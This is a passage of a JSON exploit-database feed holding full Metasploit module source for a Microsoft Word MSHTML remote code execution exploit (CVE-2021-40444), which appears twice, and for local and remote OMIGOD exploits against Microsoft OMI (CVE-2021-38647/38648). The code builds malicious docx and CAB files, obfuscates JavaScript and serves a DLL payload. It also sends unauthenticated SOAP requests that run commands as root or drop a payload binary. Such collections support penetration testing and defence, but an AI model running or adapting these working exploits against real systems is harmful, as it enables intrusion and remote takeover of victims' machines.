document_xml.to_s.gsub!('TARGET_HERE', uri.to_s)\n when 'word/_rels/document.xml.rels'\n entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', \"mhtml:#{uri}!x-usc:#{uri}\")\n end\n end\n end\n\n def normalize_uri(*strs)\n new_str = strs * '/'\n\n new_str = new_str.gsub!('//', '/') while new_str.index('//')\n\n # makes sure there's a starting slash\n unless new_str[0, 1] == '/'\n new_str = '/' + new_str\n end\n\n new_str\n end\n\n def on_request_uri(cli, request)\n header_cab = {\n 'Access-Control-Allow-Origin' => '*',\n 'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS',\n 'Cache-Control' => 'no-store, no-cache, must-revalidate',\n 'Content-Type' => 'application/octet-stream',\n 'Content-Disposition' => \"attachment; filename=#{File.basename(@my_resources.first)}.cab\"\n }\n\n header_html = {\n 'Access-Control-Allow-Origin' => '*',\n 'Access-Control-Allow-Methods' => 'GET, POST',\n 'Cache-Control' => 'no-store, no-cache, must-revalidate',\n 'Content-Type' => 'text/html; charset=UTF-8'\n }\n\n if request.method.eql? 'HEAD'\n if request.raw_uri.to_s.end_with? '.cab'\n send_response(cli, '', header_cab)\n else\n send_response(cli, '', header_html)\n end\n elsif request.method.eql? 'OPTIONS'\n response = create_response(501, 'Unsupported Method')\n response['Content-Type'] = 'text/html'\n response.body = ''\n\n cli.send_response(response)\n elsif request.raw_uri.to_s.end_with? '.html'\n print_status('Sending HTML Payload')\n\n send_response_html(cli, generate_html, header_html)\n elsif request.raw_uri.to_s.end_with? '.cab'\n print_status('Sending CAB Payload')\n\n send_response(cli, create_cab(@dll_payload), header_cab)\n end\n end\n\n def pack_docx\n @docx.each do |entry|\n if entry[:data].is_a?(Nokogiri::XML::Document)\n entry[:data] = entry[:data].to_s\n end\n end\n\n Msf::Util::EXE.to_zip(@docx)\n end\n\n def unpack_docx(template_path)\n document = []\n\n Zip::File.open(template_path) do |entries|\n entries.each do |entry|\n if entry.name.match(/\\.xml|\\.rels$/i)\n content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?\n elsif entry.file?\n content = entry.get_input_stream.read\n end\n\n vprint_status(\"Parsing item from template: #{entry.name}\")\n\n document << { fname: entry.name, data: content }\n end\n end\n\n document\n end\n\n def primer\n print_status('CVE-2021-40444: Generate a malicious docx file')\n\n @proto = (datastore['SSL'] ? 'https' : 'http')\n if datastore['SRVHOST'] == '0.0.0.0'\n datastore['SRVHOST'] = Rex::Socket.source_address\n end\n\n template_path = get_template_path\n unless File.extname(template_path).match(/\\.docx$/i)\n fail_with(Failure::BadConfig, 'Template is not a docx file!')\n end\n\n print_status(\"Using template '#{template_path}'\")\n @docx = unpack_docx(template_path)\n\n print_status('Injecting payload in docx document')\n inject_docx\n\n print_status(\"Finalizing docx '#{datastore['FILENAME']}'\")\n file_create(pack_docx)\n\n @dll_payload = Msf::Util::EXE.to_win64pe_dll(\n framework,\n payload.encoded,\n {\n arch: payload.arch.first,\n mixed_mode: true,\n platform: 'win'\n }\n )\n end\nend\n", "sourceHref": "https://0day.today/exploit/37126", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-05-25T08:45:57", "description": "This Metasploit module demonstrates that by removing the authentication exchange, an attacker can issue requests to the local OMI management socket that will cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1 (released September 8th 2021).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-10T00:00:00", "type": "zdt", "title": "Microsoft OMI Management Interface Authentication Bypass Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-38647", "CVE-2021-38648"], "modified": "2021-11-10T00:00:00", "id": "1337DAY-ID-37024", "href": "https://0day.today/exploit/description/37024", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Post::File\n include Msf::Post::Process\n include Msf::Exploit::EXE\n include Msf::Exploit::FileDropper\n\n DEFAULT_SERVER_BIN_PATH = '/opt/omi/bin/omiserver'.freeze\n DEFAULT_SOCKET_PATH = '/var/opt/omi/run/omiserver.sock'.freeze\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft OMI Management Interface Authentication Bypass',\n 'Description' => %q{\n By removing the authentication exchange, an attacker can issue requests to the local OMI management socket\n that will cause it to execute an operating system command as the root user. This vulnerability was patched in\n OMI version 1.6.8-1 (released September 8th 2021).\n },\n 'References' => [\n ['CVE', '2021-38648'],\n ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38648'],\n ['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],\n ['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']\n ],\n 'Author' => [\n 'Nir Ohfeld', # vulnerability discovery & research\n 'Shir Tamari', # vulnerability discovery & research\n 'Spencer McIntyre' # metasploit module\n ],\n 'DisclosureDate' => '2021-09-14',\n 'License' => MSF_LICENSE,\n 'Platform' => ['linux', 'unix'],\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'SessionTypes' => ['shell', 'meterpreter'],\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_cmd,\n 'Payload' => { 'DisableNops' => true, 'Space' => 256 }\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper\n }\n ]\n ],\n 'DefaultTarget' => 1,\n 'DefaultOptions' => {\n 'MeterpreterTryToFork' => true\n },\n 'Notes' => {\n 'AKA' => ['OMIGOD'],\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n\n register_advanced_options([\n OptString.new('WritableDir', [ true, 'A directory where you can write files.', '/tmp' ]),\n OptString.new('SocketPath', [ false, 'The path to the OMI server socket.', '' ])\n ])\n end\n\n def check\n pid = pidof('omiserver').first\n return CheckCode::Safe('The omiserver process was not found.') if pid.nil?\n\n omiserver_bin = read_file(\"/proc/#{pid}/cmdline\").split(\"\\x00\", 2).first\n omiserver_bin = DEFAULT_SERVER_BIN_PATH if omiserver_bin.blank? && file?(DEFAULT_SERVER_BIN_PATH)\n return CheckCode::Unknown('Failed to find the omiserver binary path.') if omiserver_bin.blank?\n\n vprint_status(\"Found #{omiserver_bin} running in PID: #{pid}\")\n if cmd_exec(\"#{omiserver_bin} --version\") =~ /\\sOMI-(\\d+(\\.\\d+){2,3}(-\\d+)?)\\s/\n version = Regexp.last_match(1)\n else\n return CheckCode::Unknown('Failed to identify the version of the omiserver binary.')\n end\n\n return CheckCode::Safe(\"Version #{version} is not affected.\") if Rex::Version.new(version) > Rex::Version.new('1.6.8-0')\n\n CheckCode::Appears(\"Version #{version} is affected.\")\n end\n\n def upload(path, data)\n print_status \"Writing '#{path}' (#{data.size} bytes) ...\"\n write_file path, data\n ensure\n register_file_for_cleanup(path)\n end\n\n def find_exec_program\n %w[python python3 python2].select(&method(:command_exists?)).first\n end\n\n def get_socket_path\n socket_path = datastore['SocketPath']\n return socket_path unless socket_path.blank?\n\n pid = pidof('omiserver').first\n fail_with(Failure::NotFound, 'The omiserver pid was not found.') if pid.nil?\n\n if read_file(\"/proc/#{pid}/net/unix\") =~ %r{\\s(/(\\S+)server\\.sock)$}\n socket_path = Regexp.last_match(1)\n else\n begin\n socket_path = DEFAULT_SOCKET_PATH if stat(DEFAULT_SOCKET_PATH).socket?\n rescue StandardError # rubocop:disable Lint/SuppressedException\n end\n end\n\n fail_with(Failure::NotFound, 'The socket path could not be found.') if socket_path.blank?\n\n vprint_status(\"Socket path: #{socket_path}\")\n socket_path\n end\n\n def exploit\n python_binary = find_exec_program\n fail_with(Failure::NotFound, 'The python binary was not found.') unless python_binary\n\n vprint_status(\"Using '#{python_binary}' to run the exploit\")\n socket_path = get_socket_path\n path = datastore['WritableDir']\n python_script = rand_text_alphanumeric(5..10) + '.py'\n\n case target['Type']\n when :unix_cmd\n root_cmd = payload.encoded\n when :linux_dropper\n unless path.start_with?('/')\n # the command will be executed from a different working directory so use an absolute path\n fail_with(Failure::BadConfig, 'The payload path must be an absolute path.')\n end\n\n payload_path = \"#{path}/#{rand_text_alphanumeric(5..10)}\"\n if payload_path.length > 256\n # the Python exploit uses a hard-coded exchange that only allows up to 256 characters to be included in the\n # command that is executed\n fail_with(Failure::BadConfig, 'The payload path is too long (>256 characters).')\n end\n\n upload(payload_path, generate_payload_exe)\n cmd_exec(\"chmod +x '#{payload_path}'\")\n root_cmd = payload_path\n end\n\n upload(\"#{path}/#{python_script}\", exploit_data('CVE-2021-38648', 'cve_2021_38648.py'))\n cmd = \"#{python_binary} #{path}/#{python_script} -s '#{socket_path}' '#{root_cmd}'\"\n vprint_status(\"Running #{cmd}\")\n output = cmd_exec(cmd)\n vprint_line(output) unless output.blank?\n end\nend\n", "sourceHref": "https://0day.today/exploit/37024", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "metasploit": [{"lastseen": "2022-11-02T03:02:15", "description": "By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint that will cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1 (released September 8th 2021).\n", "cvss3": {}, "published": "2021-10-25T21:36:55", "type": "metasploit", "title": "Microsoft OMI Management Interface Authentication Bypass", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-38647"], "modified": "2021-10-27T15:58:53", "id": "MSF:EXPLOIT-LINUX-MISC-CVE_2021_38647_OMIGOD-", "href": "https://www.rapid7.com/db/modules/exploit/linux/misc/cve_2021_38647_omigod/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n Rank = ExcellentRanking\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n\n XML_NS = { 'p' => 'http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem' }.freeze\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft OMI Management Interface Authentication Bypass',\n 'Description' => %q{\n By removing the authentication header, an attacker can issue an HTTP request to the OMI management endpoint\n that will cause it to execute an operating system command as the root user. This vulnerability was patched in\n OMI version 1.6.8-1 (released September 8th 2021).\n },\n 'Author' => [\n 'Nir Ohfeld', # vulnerability discovery & research\n 'Shir Tamari', # vulnerability discovery & research\n 'Spencer McIntyre', # metasploit module\n 'wvu' # vulnerability research\n ],\n 'References' => [\n ['CVE', '2021-38647'],\n ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647'],\n ['URL', 'https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure'],\n ['URL', 'https://censys.io/blog/understanding-the-impact-of-omigod-cve-2021-38647/'],\n ['URL', 'https://attackerkb.com/topics/08O94gYdF1/cve-2021-38647']\n ],\n 'DisclosureDate' => '2021-09-14',\n 'License' => MSF_LICENSE,\n 'Platform' => ['linux', 'unix'],\n 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n 'Privileged' => true,\n 'Targets' => [\n [\n 'Unix Command',\n {\n 'Platform' => 'unix',\n 'Arch' => ARCH_CMD,\n 'Type' => :unix_cmd\n }\n ],\n [\n 'Linux Dropper',\n {\n 'Platform' => 'linux',\n 'Arch' => [ARCH_X86, ARCH_X64],\n 'Type' => :linux_dropper\n }\n ]\n ],\n 'DefaultTarget' => 1,\n 'DefaultOptions' => {\n 'RPORT' => 5985,\n 'SSL' => false,\n 'MeterpreterTryToFork' => true\n },\n 'Notes' => {\n 'AKA' => ['OMIGOD'],\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n\n register_options([\n OptString.new('TARGETURI', [true, 'Base path', '/wsman'])\n ])\n end\n\n def check\n http_res = send_command('id')\n return CheckCode::Unknown if http_res.nil?\n return CheckCode::Safe unless http_res.code == 200\n\n cmd_res = parse_response(http_res)\n return CheckCode::Unknown if cmd_res.nil? || cmd_res[:stdout] !~ /uid=(\\d+)\$\\S+\$ /\n\n return CheckCode::Vulnerable(\"Command executed as uid #{Regexp.last_match(1)}.\")\n end\n\n def exploit\n print_status(\"Executing #{target.name} for #{datastore['PAYLOAD']}\")\n\n case target['Type']\n when :unix_cmd\n result = execute_command(payload.encoded)\n if result\n print_status(result[:stdout]) unless result[:stdout].blank?\n print_error(result[:stderr]) unless result[:stderr].blank?\n end\n when :linux_dropper\n execute_cmdstager\n end\n end\n\n def execute_command(cmd, _opts = {})\n vprint_status(\"Executing command: #{cmd}\")\n res = send_command(cmd)\n\n unless res && res.code == 200\n fail_with(Failure::UnexpectedReply, \"Failed to execute command: #{cmd}\")\n end\n\n parse_response(res)\n end\n\n def parse_response(res)\n return nil unless res&.code == 200\n\n return_code = res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:ReturnCode', XML_NS)&.content.to_i\n unless return_code == 0\n print_error(\"Failed to execute command: #{cmd} (status: #{return_code})\")\n end\n\n {\n return_code: return_code,\n stdout: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdOut', XML_NS)&.content,\n stderr: res.get_xml_document.at_xpath('//p:SCX_OperatingSystem_OUTPUT/p:StdErr', XML_NS)&.content\n }\n end\n\n def send_command(cmd)\n send_request_cgi(\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path),\n 'ctype' => 'text/xml;charset=UTF-8',\n 'data' => Nokogiri::XML(<<-ENVELOPE, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)\n <s:Envelope xmlns:s=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:a=\"http://schemas.xmlsoap.org/ws/2004/08/addressing\" xmlns:n=\"http://schemas.xmlsoap.org/ws/2004/09/enumeration\" xmlns:w=\"http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema\" xmlns:h=\"http://schemas.microsoft.com/wbem/wsman/1/windows/shell\" xmlns:p=\"http://schemas.microsoft.com/wbem/wsman/1/wsman.xsd\">\n <s:Header>\n <a:To>HTTP://127.0.0.1:5985/wsman/</a:To>\n <w:ResourceURI s:mustUnderstand=\"true\">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>\n <a:ReplyTo>\n <a:Address s:mustUnderstand=\"true\">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>\n </a:ReplyTo>\n <a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteScript</a:Action>\n <w:MaxEnvelopeSize s:mustUnderstand=\"true\">102400</w:MaxEnvelopeSize>\n <a:MessageID>uuid:#{Faker::Internet.uuid}</a:MessageID>\n <w:OperationTimeout>PT1M30S</w:OperationTimeout>\n <w:Locale xml:lang=\"en-us\" s:mustUnderstand=\"false\"/>\n <p:DataLocale xml:lang=\"en-us\" s:mustUnderstand=\"false\"/>\n <w:OptionSet s:mustUnderstand=\"true\"/>\n <w:SelectorSet>\n <w:Selector Name=\"__cimnamespace\">root/scx</w:Selector>\n </w:SelectorSet>\n </s:Header>\n <s:Body>\n <p:ExecuteScript_INPUT xmlns:p=\"http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem\">\n <p:Script>#{Rex::Text.encode_base64(cmd)}</p:Script>\n <p:Arguments/>\n <p:timeout>0</p:timeout>\n <p:b64encoded>true</p:b64encoded>\n </p:ExecuteScript_INPUT>\n </s:Body>\n </s:Envelope>\n ENVELOPE\n )\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/misc/cve_2021_38647_omigod.rb", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-06-24T15:44:17", "description": "This module creates a malicious docx file that when opened in Word on a vulnerable Windows system will lead to code execution. This vulnerability exists because an attacker can craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine.\n", "cvss3": {}, "published": "2021-11-09T11:18:58", "type": "metasploit", "title": "Microsoft Office Word Malicious MSHTML RCE", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-08T22:22:44", "id": "MSF:EXPLOIT-WINDOWS-FILEFORMAT-WORD_MSHTML_RCE-", "href": "https://www.rapid7.com/db/modules/exploit/windows/fileformat/word_mshtml_rce/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::FILEFORMAT\n include Msf::Exploit::Remote::HttpServer::HTML\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Office Word Malicious MSHTML RCE',\n 'Description' => %q{\n This module creates a malicious docx file that when opened in Word on a vulnerable Windows\n system will lead to code execution. This vulnerability exists because an attacker can\n craft a malicious ActiveX control to be used by a Microsoft Office document that hosts\n the browser rendering engine.\n },\n 'References' => [\n ['CVE', '2021-40444'],\n ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'],\n ['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'],\n ['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'],\n ['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'],\n ['URL', 'https://github.com/klezVirus/CVE-2021-40444']\n ],\n 'Author' => [\n 'lockedbyte ', # Vulnerability discovery.\n 'klezVirus ', # References and PoC.\n 'thesunRider', # Official Metasploit module.\n 'mekhalleh (RAMELLA S\u00e9bastien)' # Zeop-CyberSecurity - code base contribution and refactoring.\n ],\n 'DisclosureDate' => '2021-09-23',\n 'License' => MSF_LICENSE,\n 'Privileged' => false,\n 'Platform' => 'win',\n 'Arch' => [ARCH_X64],\n 'Payload' => {\n 'DisableNops' => true\n },\n 'DefaultOptions' => {\n 'FILENAME' => 'msf.docx'\n },\n 'Targets' => [\n [\n 'Hosted', {}\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [UNRELIABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n\n register_options([\n OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])\n ])\n register_advanced_options([\n OptPath.new('DocxTemplate', [ false, 'A DOCX file that will be used as a template to build the exploit.' ]),\n ])\n end\n\n def bin_to_hex(bstr)\n return(bstr.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join)\n end\n\n def cab_checksum(data, seed = \"\\x00\\x00\\x00\\x00\")\n checksum = seed\n\n bytes = ''\n data.chars.each_slice(4).map(&:join).each do |dword|\n if dword.length == 4\n checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*')\n else\n bytes = dword\n end\n end\n checksum = checksum.reverse\n\n case (data.length % 4)\n when 3\n dword = \"\\x00#{bytes}\"\n when 2\n dword = \"\\x00\\x00#{bytes}\"\n when 1\n dword = \"\\x00\\x00\\x00#{bytes}\"\n else\n dword = \"\\x00\\x00\\x00\\x00\"\n end\n\n checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*').reverse\n end\n\n # http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf\n def create_cab(data)\n cab_cfdata = ''\n filename = \"../#{File.basename(@my_resources.first)}.inf\"\n block_size = 32768\n struct_cffile = 0xd\n struct_cfheader = 0x30\n\n block_counter = 0\n data.chars.each_slice(block_size).map(&:join).each do |block|\n block_counter += 1\n\n seed = \"#{[block.length].pack('S')}#{[block.length].pack('S')}\"\n csum = cab_checksum(block, seed)\n\n vprint_status(\"Data block added w/ checksum: #{bin_to_hex(csum)}\")\n cab_cfdata << csum # uint32 {4} - Checksum\n cab_cfdata << [block.length].pack('S') # uint16 {2} - Compressed Data Length\n cab_cfdata << [block.length].pack('S') # uint16 {2} - Uncompressed Data Length\n cab_cfdata << block\n end\n\n cab_size = [\n struct_cfheader +\n struct_cffile +\n filename.length +\n cab_cfdata.length\n ].pack('L<')\n\n # CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB)\n cab_header = \"\\x4D\\x53\\x43\\x46\" # uint32 {4} - Header (MSCF)\n cab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Reserved (null)\n cab_header << cab_size # uint32 {4} - Archive Length\n cab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Reserved (null)\n\n cab_header << \"\\x2C\\x00\\x00\\x00\" # uint32 {4} - Offset to the first CFFILE\n cab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Reserved (null)\n cab_header << \"\\x03\" # byte {1} - Minor Version (3)\n cab_header << \"\\x01\" # byte {1} - Major Version (1)\n cab_header << \"\\x01\\x00\" # uint16 {2} - Number of Folders\n cab_header << \"\\x01\\x00\" # uint16 {2} - Number of Files\n cab_header << \"\\x00\\x00\" # uint16 {2} - Flags\n\n cab_header << \"\\xD2\\x04\" # uint16 {2} - Cabinet Set ID Number\n cab_header << \"\\x00\\x00\" # uint16 {2} - Sequential Number of this Cabinet file in a Set\n\n # CFFOLDER\n cab_header << [ # uint32 {4} - Offset to the first CFDATA in this Folder\n struct_cfheader +\n struct_cffile +\n filename.length\n ].pack('L<')\n cab_header << [block_counter].pack('S<') # uint16 {2} - Number of CFDATA blocks in this Folder\n cab_header << \"\\x00\\x00\" # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP)\n\n # increase file size to trigger vulnerability\n cab_header << [ # uint32 {4} - Uncompressed File Length (\"\\x02\\x00\\x5C\\x41\")\n data.length + 1073741824\n ].pack('L<')\n\n # set current date and time in the format of cab file\n date_time = Time.new\n date = [((date_time.year - 1980) << 9) + (date_time.month << 5) + date_time.day].pack('S')\n time = [(date_time.hour << 11) + (date_time.min << 5) + (date_time.sec / 2)].pack('S')\n\n # CFFILE\n cab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder)\n cab_header << \"\\x00\\x00\" # uint16 {2} - Folder ID (starts at 0)\n cab_header << date # uint16 {2} - File Date (\\x5A\\x53)\n cab_header << time # uint16 {2} - File Time (\\xC3\\x5C)\n cab_header << \"\\x20\\x00\" # uint16 {2} - File Attributes\n cab_header << filename # byte {X} - Filename (ASCII)\n cab_header << \"\\x00\" # byte {1} - null Filename Terminator\n\n cab_stream = cab_header\n\n # CFDATA\n cab_stream << cab_cfdata\n end\n\n def generate_html\n uri = \"#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab\"\n inf = \"#{File.basename(@my_resources.first)}.inf\"\n\n file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js')\n js_content = ::File.binread(file_path)\n\n js_content.gsub!('REPLACE_INF', inf)\n js_content.gsub!('REPLACE_URI', uri)\n if datastore['OBFUSCATE']\n print_status('Obfuscate JavaScript content')\n\n js_content = Rex::Exploitation::JSObfu.new js_content\n js_content = js_content.obfuscate(memory_sensitive: false)\n end\n\n html = '<!DOCTYPE html><html><head><meta http-equiv=\"Expires\" content=\"-1\"><meta http-equiv=\"X-UA-Compatible\" content=\"IE=11\"></head><body><script>'\n html += js_content.to_s\n html += '</script></body></html>'\n html\n end\n\n def get_file_in_docx(fname)\n i = @docx.find_index { |item| item[:fname] == fname }\n\n unless i\n fail_with(Failure::NotFound, \"This template cannot be used because it is missing: #{fname}\")\n end\n\n @docx.fetch(i)[:data]\n end\n\n def get_template_path\n datastore['DocxTemplate'] || File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve-2021-40444.docx')\n end\n\n def inject_docx\n document_xml = get_file_in_docx('word/document.xml')\n unless document_xml\n fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')\n end\n\n document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')\n unless document_xml_rels\n fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')\n end\n\n uri = \"#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html\"\n @docx.each do |entry|\n case entry[:fname]\n when 'word/document.xml'\n entry[:data] = document_xml.to_s.gsub!('TARGET_HERE', uri.to_s)\n when 'word/_rels/document.xml.rels'\n entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', \"mhtml:#{uri}!x-usc:#{uri}\")\n end\n end\n end\n\n def normalize_uri(*strs)\n new_str = strs * '/'\n\n new_str = new_str.gsub!('//', '/') while new_str.index('//')\n\n # makes sure there's a starting slash\n unless new_str[0, 1] == '/'\n new_str = '/' + new_str\n end\n\n new_str\n end\n\n def on_request_uri(cli, request)\n header_cab = {\n 'Access-Control-Allow-Origin' => '*',\n 'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS',\n 'Cache-Control' => 'no-store, no-cache, must-revalidate',\n 'Content-Type' => 'application/octet-stream',\n 'Content-Disposition' => \"attachment; filename=#{File.basename(@my_resources.first)}.cab\"\n }\n\n header_html = {\n 'Access-Control-Allow-Origin' => '*',\n 'Access-Control-Allow-Methods' => 'GET, POST',\n 'Cache-Control' => 'no-store, no-cache, must-revalidate',\n 'Content-Type' => 'text/html; charset=UTF-8'\n }\n\n if request.method.eql? 'HEAD'\n if request.raw_uri.to_s.end_with? '.cab'\n send_response(cli, '', header_cab)\n else\n send_response(cli, '', header_html)\n end\n elsif request.method.eql? 'OPTIONS'\n response = create_response(501, 'Unsupported Method')\n response['Content-Type'] = 'text/html'\n response.body = ''\n\n cli.send_response(response)\n elsif request.raw_uri.to_s.end_with? '.html'\n print_status('Sending HTML Payload')\n\n send_response_html(cli, generate_html, header_html)\n elsif request.raw_uri.to_s.end_with? '.cab'\n print_status('Sending CAB Payload')\n\n send_response(cli, create_cab(@dll_payload), header_cab)\n end\n end\n\n def pack_docx\n @docx.each do |entry|\n if entry[:data].is_a?(Nokogiri::XML::Document)\n entry[:data] = entry[:data].to_s\n end\n end\n\n Msf::Util::EXE.to_zip(@docx)\n end\n\n def unpack_docx(template_path)\n document = []\n\n Zip::File.open(template_path) do |entries|\n entries.each do |entry|\n if entry.name.match(/\\.xml|\\.rels$/i)\n content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?\n elsif entry.file?\n content = entry.get_input_stream.read\n end\n\n vprint_status(\"Parsing item from template: #{entry.name}\")\n\n document << { fname: entry.name, data: content }\n end\n end\n\n document\n end\n\n def primer\n print_status('CVE-2021-40444: Generate a malicious docx file')\n\n @proto = (datastore['SSL'] ? 'https' : 'http')\n if datastore['SRVHOST'] == '0.0.0.0'\n datastore['SRVHOST'] = Rex::Socket.source_address\n end\n\n template_path = get_template_path\n unless File.extname(template_path).match(/\\.docx$/i)\n fail_with(Failure::BadConfig, 'Template is not a docx file!')\n end\n\n print_status(\"Using template '#{template_path}'\")\n @docx = unpack_docx(template_path)\n\n print_status('Injecting payload in docx document')\n inject_docx\n\n print_status(\"Finalizing docx '#{datastore['FILENAME']}'\")\n file_create(pack_docx)\n\n @dll_payload = Msf::Util::EXE.to_win64pe_dll(\n framework,\n payload.encoded,\n {\n arch: payload.arch.first,\n mixed_mode: true,\n platform: 'win'\n }\n )\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/fileformat/word_mshtml_rce.rb", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-11-02T10:45:02", "description": "By removing the authentication exchange, an attacker can issue requests to the local OMI management socket that will cause it to execute an operating system command as the root user. This vulnerability was patched in OMI version 1.6.8-1 (released September 8th 